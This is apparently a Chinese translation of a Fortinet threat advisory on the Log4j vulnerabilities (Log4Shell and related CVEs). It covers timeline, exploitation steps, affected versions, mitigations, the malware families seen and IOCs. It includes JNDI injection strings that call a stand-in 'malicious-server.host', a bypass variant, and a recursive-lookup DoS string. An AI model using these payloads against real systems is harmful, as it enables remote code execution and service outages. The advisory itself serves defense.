概述
起底Apache Log4j漏洞:
如何出现、如何被利用与如何防御
受影响平台:
任何使用Log4j2漏洞版本的应用程序和服务
受影响用户:
任何使用Log4j的具备该漏洞版本的组织
影响:
远程攻击者控制漏洞系统
漏洞等级:
高危
-
自12月9日起,一个新型高危漏洞开始在全球肆虐,引起全球互联网用户的广泛关注,此漏洞发现于Apache Log4j框架中,该框架在全球无数服务器中均有部署。该漏洞的官方名称为CVE-2021-44228,俗称“Log4Shell”。 攻击者可直接构造恶意请求,获得远程目标系统的全部可执行权限。利用该漏洞无需特殊配置,正因此,该漏洞在CVSS(通用漏洞评分系统)的评分为最高分10分。
-
12月14日,Apache软件基金会公布了Log4j的第二个漏洞(CVE-2021-45046)。此漏洞最初被认定为拒绝服务攻击(DoS)漏洞,在CVSS中的评分为3.7分,属于中危级别漏洞。
-
12月16日,该漏洞此前一直未被发现的另外两大威胁相继浮出水面,形势愈发严峻:信息泄露、允许远程代码执行漏洞(该漏洞可能导致设备远程受控,进而引发敏感信息窃取、设备服务中断等严重危害)。如此重大威胁促使Apache更新了有关此漏洞的公告,并将其CVSS评分升至9.0分
-
12月18日,Log4j再爆第三个漏洞(官方名称:CVE-2021-45105) —— 该漏洞是Apache用于Log4j2提供的Lookup递归解析功能造成的,可使Log4j受到拒绝服务攻击(DoS)。目前Apache已针对该漏洞发布2.17.0 修复版本。
-
12月19日,一种Mirai IoT恶意软件的“蠕虫”变种被发现,该病毒可嵌入CVE-2021-44228漏洞的利用代码中。各大开源网络情报(OSINT)社区上展开了关于此恶意软件是否为“蠕虫”病毒的激烈讨论。
【为什么受攻击的是Log4j?为何影响如此重大?】
Log4j组件作为一款优秀的开源Java日志记录框架,被广泛应用于全球应用程序和服务中。通常,对Log4j组件的依赖有两到三层(即对一层依赖的依赖)。CVE-2021-44228漏洞之所以如此危险,部分原因是由于Log4j组件的普适性。成百上千万的应用程序(例如iCloud、Steam、Minecraft)均使用Log4j组件来记录日志。攻击者只需通过应用程序来记录一个特殊的字符串,便可成功利用该漏洞。
通过JNDI(Java命名和目录访问接口),Log4j框架提供了一个允许连接到外部目录服务,例如LDAP(轻量级目录访问协议))的接口。这为攻击者的几种攻击行为提供了入侵基础,这些行为目前发现于未受限制因而不安全的JNDI lookup中,攻击者可在未授权的情况下,通过发送特定恶意数据包,在目标服务器上远程执行任意代码。
事实上,在补丁发布之前,攻击者利用第一个漏洞CVE-2021-44228之时,风险就已初露端倪。据Cloudflare称,早在补丁发布9天前的12月1日就已发现该漏洞被利用。同样值得一提的是,Minecraft吹响了该安全风险的第一声哨,因为它是最先被攻击的服务器之一。
CVE-2021-44228漏洞是如何被利用的
-
攻击者一旦选定目标,会将JNDI查询添加至针对该目标的连接请求中某个字段中,该字段很可能被Log4j记录。例如:“${jndi:ldap://malicious-server.host/aaa}”
-
此后,Log4j漏洞版本会接受该请求,并尝试使用LDAP查询来联系“malicious-server.host”。
-
如果连接成功,受攻击者控制的“malicious-server.host”会将一个恶意Java 类文件位置插入该目录数据中,来回复该查询。
-
随后,该目标上的Java实现接口会下载并执行该恶意Java 类文件。
CVE-2021-45046漏洞如何被利用以执行远程代码?
-
一旦选定目标,攻击者会将JNDI查询添加到针对该目标的连接请求中某个字段中,该字段很可能被Log4j记录。Log4j 2.15.0版本中针对CVE-2021-44228漏洞的修复补丁默认不允许远程JNDI查询。因此,攻击者会通过以下的方式进行绕过: “${jndi:ldap://127.0.0.1#malicious-server.host/aaa}”。
-
因为“#”符前存在本地主机地址,Log4j2.15.0版本会将此请求视为有效;然而,此框架仍会解析整个字符串,并尝试使用LDAP查询来联系“malicious-server.host”。
-
如果连接成功,受攻击者控制的“malicious-server.host”会将一个恶意Java 类文件位置插入该目录数据中,来回复该查询。
-
之后,该目标上的Java实现接口会下载并执行该恶意Java 类文件。
CVE-2021-45105漏洞如何被利用以导致拒绝服务攻击(Dos)?
该漏洞被认为不包含在Log4Shell中。这会使远程执行漏洞更为复杂,因为攻击者需要具备相关知识并控制lookup命令(例如通过Thread Context Map)。攻击者可构造包含递归查找的恶意输入数据,成功利用此漏洞将导致拒绝服务攻击(DoS)。
-
利用这一点,漏洞(或恶意)应用程序需要使用一个自定义的pattern layout的Context Map Lookup。
-
一个长字符串可以通过上面这种方式构造出来,当触发时,将变成一个无限循环,这样就耗尽了资源来进行拒绝服务攻击。
例如logger.info("Example log line {}", "${${::-${::-$${::-j}}}}")。
利用CVE-2021-44228和CVE-2021-45046漏洞的攻击行为是否激增?
截至12月15日,通过使用Fortinet的IPS签名,我们发现:检测到的攻击数量稳步增加,这些攻击涉及这两个CVE漏洞 ——“Apache.Log4j.Error.Log.Remote.Code.Execution”。
图1:自12月10日以来检测到的Apache.Log4j.Error.Log.Remote.Code.Execution的攻击数量。
Log4j组件的哪些版本为漏洞版本?
-
CVE-2021-44228: 从2.0-beta9到2.12.1、2.13.0到2.14.1(也包括2.15.0-rc1),所有的Log4j版本均为漏洞版本。
-
CVE-2021-45046:从2.0-beta9到2.15.0的Log4j版本。
-
CVE-2021-45105:从2.0-beta9到2.16.0的Log4j版本。
针对这些漏洞是否已发布官方修复补丁?
是的,建议Java 8及以后版本的用户尽快更新至Log4j 2.17.0版本。但由于2.15.0中所提供的修复程序不完整,Apache随后又发布了Log4j 2.16.0和2.17.0版本,强烈建议用户升级至这两个新版本。
Java 7的用户应升级至2.12.2版本。
Apache是否已提供缓解方案?
是的,针对Log4Shell(CVE-2021-44228),Apache已提供以下缓解措施:
Log4j 1.x缓解方案:Log4j 1.x不含Lookups,因此风险较低。使用Log4j 1.x的应用程序只有当配置中使用了JNDI时才容易受到攻击。针对这种情况,一个单独的CVE(CVE-2021-4104)已经被提出。缓解方法:审计您的日志记录配置,以确保其未配置JMSAppender。在没有JMSAppender的情况下,此漏洞不会影响Log4j 1.x配置。
Log4j 2.x缓解方案:使用以下缓解技术中的任意一项。
Java 8(或更新版本)的用户应升级至2.16.0版本。
待2.12.2版本发布(正在开发,即将发布)后,Java 7的用户应升级至此版本。
除此之外,从类路径(classpath)中删除JndiLookup类:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
※请注意:此漏洞仅会影响log4j-core JAR文件。如果应用程序仅使用不含log4j-core JAR的log4j-api JAR文件,则不会受此漏洞影响。
针对CVE-2021-45046,Apache已提供以下缓解信息:
Log4j 1.x缓解措施:Log4j 1.x未受此漏洞影响。
Log4j 2.x缓解措施:使用以下缓解技术中的任意一项:
Java 8(或更新版本)用户应升级至2.16.0版本。
Java 7用户应升级至2.12.2版本。
除此之外,如果使用的版本不是2.16.0版本,可从类路径(classpath)中将JndiLookup类删除:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
建议用户不要在Log4j 2.16.0版本中启用JNDI。如果需要JMS Appender,则使用Log4j 2.12.2 版本。
※注意:只有 log4j-core JAR 文件受此漏洞影响。如果应用程序仅使用不含 log4j-core JAR 的 log4j-api JAR 文件,则不会受此漏洞的影响。
同时需注意:ApacheLog4j是唯一受此漏洞影响的日志记录服务(Logging Services)子项目。其他项目(例如Log4net、Log4cxx)不受影响。
针对CVE-2021-45105漏洞,Apache已提供以下缓解措施:
Log4j 1.x缓解措施:Log4j 1.x未受此漏洞影响。
Log4j 2.x缓解措施:使用以下缓解技术中的任意一项:
Java 8(或更新版本)用户应升级至2.17.0版本。或者,可在配置中进行缓解:
在日志记录配置的PatternLayout中,将Context Lookups(例如${ctx:loginId}或$${ctx:loginId})替换为Thread Context Map patterns(%X, %mdc或%MDC)。
除此之外,在配置中删除Context Lookups(例如${ctx:loginId}或$${ctx:loginId})引用,因为这些引用来自应用程序的外部资源,例如HTTP headers或用户输入。
※注意:仅log4j-core JAR文件会受此漏洞影响。如果应用程序仅使用不含 log4j-core JAR 的 log4j-api JAR 文件,则不会受此漏洞的影响。
同时需注意:ApacheLog4j是唯一受此漏洞影响的日志记录服务(Logging Services)子项目。其他项目(例如Log4net、Log4cxx)不受影响。
Fortinet是否可以成功阻断此次漏洞攻击?
答案是肯定的。Fortinet发布了IPS签名“Apache.Log4j.Error.Log.Remote.Code.Execution”,使用VID 51006来阻断攻击者利用CVE-2021-44228和CVE-2021-45046漏洞的攻击行为。此签名最初发布在19.215.版本的IPS更新包中。此外,针对CVE-2021-45105漏洞,Fortinet还提供了IPS签名“Apache.Log4j.Error.Log.Thread.Context.DoS”。
攻击者利用Log4Shell漏洞部署了哪些
恶意软件和潜在恶意应用程序(PUA)?
据报告显示,诸如Khonsari ransomware、Kinsing、Mirai, Muhstik、Elknot、m8220、Orcus RAT、XMRig、SitesLoader、Nanocore RAT等恶意软件均已在随后的攻击中使用了这些的漏洞。另有一段视频资料显示:攻击者有可能利用该漏洞在Minecraft服务器上运行第一人称射击类游戏Doom。
Khonsari勒索软件
Khonsari是一款勒索软件:在受感染机器的特定文件夹中对文件加密,然后以解密为由勒索赎金。之所以称为Khonsari,是因为该软件将khonsari添加至其所加密文件的后缀扩展名中。
Kinsing
Kinsing是一款以Go语言形式写入的恶意软件:运行加密货币挖矿软件(cryptominer),并试图在受感染的环境中扩散。Kinsing早在2020年1月份就已出现。
图2:Kinsing dropper从92.242.40.21上下载有效载荷(payload)
Mirai
Mirai是一款基于Linux的多架构恶意软件,最初部署在公开网络设备中,现在正逐渐被用来攻击IoT(物联网)设备。一旦感染此恶意软件,受感染的设备会变成“僵尸”机,并加入僵尸网络(“僵尸”群)。这些僵尸网络主要被用来进行分布式拒绝服务攻击(DDoS)。
图3:域“nazi.uy”是感染Mirai的信号
Fortnet此前已专门针对Mirai恶意软件发布系列相关研究文章:
-
Dark (MANGA)僵尸网络程序已瞄准TP-Link家用无线路由器RCE漏洞
-
Mirai的幽灵
-
Mirai 僵尸网络:采用FortiDDoS保护您的网络基础设施
Elknot
Elknot又称“比尔盖茨(BillGates)”,最初只是一款基于Linux的恶意软件,但后来被移植到Windows中。此恶意软件被用来发动分布式拒绝服务攻击(DDoS)。
图4. 带函数名的Elknot二进制。CattackCompress是最常用的攻击命令
m8220
m8220是一种针对Windows和Linux平台的挖矿僵尸网络。
图5. M8220正试图通过SSH进行扩散:通过解析用户文件夹和命令历史,获取用户名、密码和SSH钥匙。
Muhstik
Muhstik是一款Linux恶意软件:将受感染的机器变成“僵尸”机,利用漏洞进行扩散。被Muhstik利用的最值得关注的漏洞之一是:Atlassian.Confluence.CVE-2021-26084.Remote.Code.Execution(CVE-2021-26084)。
针对Muhkstik,Fortinet曾发布过研究内容:
在Confluence服务器上利用漏洞实施的最新攻击
Orcus RAT
Orcus是一种远程访问木马(RAT),早在2016年就在地下论坛中被大肆宣传和售卖。尽管在2019年一名加拿大软件开发人员因创建和售卖RAT被捕,但Orcus RAT因其源代码泄露而至今仍被使用。作为一种RAT,Orcus RAT通过从其命令和受控服务器(C&C)接收到的命令,可在受感染的机器上执行各种操作。
SitesLoader
以下shell script dropper可从http://103.104.73.155:8080/index上下载UPX packed Go二进制文件。此二进制文件也是一种XMRig加密货币挖矿软件。
图6. SitesLoader dropper从103.104.73.155上下载XMRig miner。
XMRig
XMRig是一款开源加密货币挖矿软件,用来获取Monero加密货币。尽管XMRig是一款合法软件,但经常被威胁实施者利用,从受感染的机器上非法获取Monero加密货币。
图7. 下载并执行xmrig.exe程序。
Nanocore RAT
Nanocore是一种模块化远程访问木马(RAT),出现时间为2013年。之前,该RAT可自由购买,其破解版本已被泄露至网络。Nanocore可在受感染的机器上执行典型的RAT活动,例如数据泄露、键盘记录、劫持网络摄像头、捕获屏幕截图等。
是否存在某种恶意软件
结合最新的Log4j漏洞进行扩散?
据 FortiGuard Labs得知,流传的一份报告显示,一种Mirai变种病毒可利用Log4Shell漏洞像蠕虫一样扩散。
我们的分析结果显示:此Mirai变种病毒兼具Log4Shell和CVE-2017-17215(Huawei HG532路由器中的一种远程代码执行漏洞)漏洞,但并未表现出类似蠕虫病毒的功能。
因此,尽管我们的调查结果显示它可以像蠕虫般扩散,但与蠕虫不同的是僵尸主控机控制着所有指令。这是因为此Mirai变种病毒的扩散和指令依赖于外部资源。僵尸主控机还具备打开和关闭扫描功能的能力。
FortiGuard Labs检测出此Mirai变种病毒为ELF/Mirai.VI!tr。
针对CVE-2017-17215漏洞,Fortinet提供IPS签名:“Huawei.HG532.Remote.Code.Execution”。
就FortiEDR而言,所有已知样本已添加至我们的云智能中,执行此类样本的行为将被阻止。
针对Log4j最新漏洞,Fortinet已发布如下研究文章:
-
Log4j2漏洞(爆发警报)
-
ApacheLog4J远程代码执行漏洞(CVE-2021-44228)(威胁信号)
-
Log4j新漏洞(CVE-2021-45046)导致拒绝服务攻击(威胁信号)
-
针对Log4j新漏洞(CVE-2021-45105),特发布Log4j 2.17.0 修复版本(威胁信号)
-
据称,Mirai恶意软件使用在野的Log4Shell漏洞进行扩散(威胁信号)
-
Apachelog4j2日志消息替换(CVE-2021-44228)(PSIRT公告)
-
CVE-2021-44228 – Apache Log4j漏洞(PSIRT博客)
-
Apache.Log4j.Error.Log.Remote.Code.Execution(威胁百科全书)
-
技术要点:FortiEDR如何让您的设备免遭Log4shell漏洞利用(FortiEDR)
总结
与之前的重大威胁(例如Wannacry、Heartbleed、Shellshock漏洞)相似,Log4j漏洞影响重大、波及全球。因其部署的广泛性,预计此漏洞的后续影响仍将持续一段时间,许多企业的应用程序和云服务需要及时更新。尽管全球范围内尚未发生因利用Log4j漏洞而导致的大规模恶意软件利用事件(比如爆发严重的软件勒索事件、蠕虫事件),但历史告诉我们不可放松警惕,尤其是在节日季即将来临之际,因为此时威胁实施者通常会更加活跃。
Fortinet将继续积极监测并进一步了解事件进展,同时将及时为您提供更多的预防措施信息。
附: Fortinet的漏洞保护与减缓措施
Fortinet针对CVE-2021-44228(Log4Shell)、CVE-2021-45046和CVE-2021-45105提供以下IPS签名。
Apache.Log4j.Error.Log.Remote.Code.Execution (CVE-2021-44228 and CVE-2021-45046)
Apache.Log4j.Error.Log.Thread.Context.DoS (CVE-2021-45105)
Fortinet提供防止以下恶意软件、潜在恶意应用程序(PUA)和其他涉及文件的AV保护:
MSIL/Filecoder.ANF!tr.ransom (Khonsari ransomware)
BASH/CoinMiner.RZ!tr (kinsing)
ELF/CoinMiner.CFA!tr (kinsing)
ELF/Ganiw.A!tr (Elknot)
Linux/Mirai.B!tr.bdr (Mirai)
Linux/Tsunami.NCD!tr (Mirai)
Adware/Tsunami (Mirai)
ELF/DDoS.CIA!tr (Muhstik)
BASH/Miner.BO!tr.dldr (m8220)
Java/khonsari.DF40!tr (Orcus RAT)
BASH/Miner.UF!tr (SitesLoader)
Adware/Miner (SitesLoader)
BASH/Agent.ACA8!tr.dldr
Riskware/CoinMiner.PO (XMRig)
Riskware/CVE202144228 (XMRig)BAT/Agent.Q!tr.dldr (XMRig)
W32/GenKryptik.FBSU!tr (Nanocore RAT)
Fortinet还提供以下AV覆盖,以应对通过Log4Shell传递的旧版恶意软件变种:
Kinsing
BASH/Agent.KG!tr
BASH/CoinMiner.AKT!tr
BASH/Miner.DB!tr
W64/CoinMiner.QG!tr
BASH/CoinMiner.RZ!tr
Mirai
ELF/Mirai.[random alphabets]
ELF/Mirai.[random alphabets]!tr
Linux/Mirai[random alphabets]!tr
Elknot
Linux/Elknot.[random alphabets]!tr
ELF/Elknot.[radom alphabets]!tr
Orcus RAT
W32/OrcusRAT.[random alphabets]
W32/Orcus.[random alphabets]!tr
W32/Orcus.[random alphabets]!tr.bdr
Muhstik
ELF/DDoS.CIA!tr
BASH/Agent.MQ!tr
Adware/Tsunami
ELF/CoinMiner.CFA!tr
ELF/BitCoinMiner.HF!tr
BAT/Starter.NZ!tr
BASH/CoinMiner.RZ!tr
XMRig
W32/XMRigMiner
Riskware/XMRig_Miner
W32/XMRig_Miner.[random alphabets]!tr
Riskware/XMRigCoinMiner
W32/XMRig_Miner.[random alphabets]
Linux/XMrig.[random alphabets]!tr.dldr
MSIL/XMRig_Miner.VC!tr
W32/XMRigMiner.WIN64!tr
W64/XMRigMiner.WIN64!tr
W32/XMRig_Miner.ELF64!tr
W32/XMRig_Miner.SMBM4!tr
Nanocore RAT
W32/Backdoor_MSIL_NANOCORE.BA!tr
W32/NANOCORE.[random alphabets]!tr.bdr
W32/NanoCore.[random alphabets and numbers]!tr
Data/Nanocore.[random alphabets!tr
W32/Backdoor_MSIL_NANOCORE.SMIL
MSIL/NanoCore.[Random alphabets and numbers]!tr
Adware/NanoCore
Adware/Backdoor_MSIL_NANOCORE
IOCs
SHA-256 Hash
f2e3f685256e5f31b05fc9f9ca470f527d7fdae28fa3190c8eba179473e20789 (Khonsari ransomware)
6e25ad03103a1a972b78c642bac09060fa79c460011dc5748cbb433cc459938b (Kinsing)
7e9663f87255ae2ff78eb882efe8736431368f341849fec000543f027bdb4512 (Kinsing)
8933820cf2769f6e7f1a711e188f551c3d5d3843c52167a34ab8d6eabb0a63ef (Kinsing)
bcfdddb033fb1fa9c73e222919ecd4be071e87b0c54825af516b4f336bc47fa2 (Elknot)
0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049 (Mirai)
19370ef36f43904a57a667839727c09c50d5e94df43b9cfb3183ba766c4eae3d (Mirai)
2a4e636c4077b493868ea696db3be864126d1066cdc95131f522a4c9f5fb3fec (Mirai)
15e7942ebf88a51346d3a5975bb1c2d87996799e6255db9e92aed798d279b36b (Muhstik)
10fad59b071db09aafcb7f40e775f28180aed182786557e9ee7f2f2e332b4513 (m8220)
86fc70d24f79a34c46ef66112ef4756639fcad2f2d7288e0eeb0448ffab90428 (Orcus RAT)
e7c5b3de93a3184dc99c98c7f45e6ff5f6881b15d4a56c144e2e53e96dcc0e82 (SitesLoader)
f059246cea87a886acb1938809cf4a1152247a5b5a2df0b1bf64c46a0daccbcc (SitesLoader)
3e6567dab5e7c7c42a02ac47e8c68f61c9c481bbbbe5ddb1c68e86f7370dab45 (XMRig)
95ac2e2cd2caf30829a9588988601067a98f9bb02e0776a8ef2b813f9b4d8992 (XMRig)
e8b2a8d0c3444c53f143d0b4ba87c23dd1b58b03fd0a6b1bcd6e8358e57807f1 (XMRig)
bd5006ba4e4cfcf8a8b0b6da5bb30f4dd8a78beb351b814431ae8599dcf23f1b (Nanocore RAT)
e9744244461056c64fc390591729c035f3a375bc8ecfa1a0c111defa055c1273 (Mirai variant with alleged worm capability)
URLs
3[.]145.115.94/zambo/groenhuyzen[.]exe
3[.]145.115.94/zambos_caldo_de_p.txt
hxxp://3[.]145.115.94/main.class
hxxp://45[.]137.155.55/kinsing
hxxp://45[.]137.155.55/kinsing2
hxxp://80[.]71.158.12/kinsing
hxxp://80[.]71.158.44/kinsing
hxxp://82[.]118.18.201/kinsing
hxxp://92[.]242.40.21/kinsing
hxxp://93[.]189.42.8/kinsing
hxxp://92[.]242.40.21/lh2.sh
hxxp://45[.]137.155.55/ex.sh
hxxp://155[.]94.154.170/aaa
hxxp://138[.]197.206.223/wp-content/themes/twentysixteen/dk86
hxxp://34[.]221.40.237/.x/pty5
hxxp://34[.]221.40.237/.x/pty9
nazi[.]uy
hxxp://agent[.]apacheorg.xyz:1234/v
hxxp://185[.]250.148.157:8005/index
hxxp://103[.]104.73.155:8080/acc
hxxp://129[.]226.180.53/xmrig_setup/raw/master/setup_c3pool_miner.sh
hxxp://download[.]c3pool.com/xmrig_setup/raw/master/setup_c3pool_miner.sh
hxxp://54[.]210.230.186/wp-content/themes/twentyfourteen/xmrig.exe
hxxp://198[.]98.60.67/bins/x86
hxxp://198.98.60.67/bins/arm
hxxp://198.98.60.67/lh.sh
最后
以上就是尊敬野狼为你收集整理的网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御的全部内容,希望文章能够帮你解决网安大事件丨Fortinet对Apache Log4j漏洞利用的全面复盘与防御所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复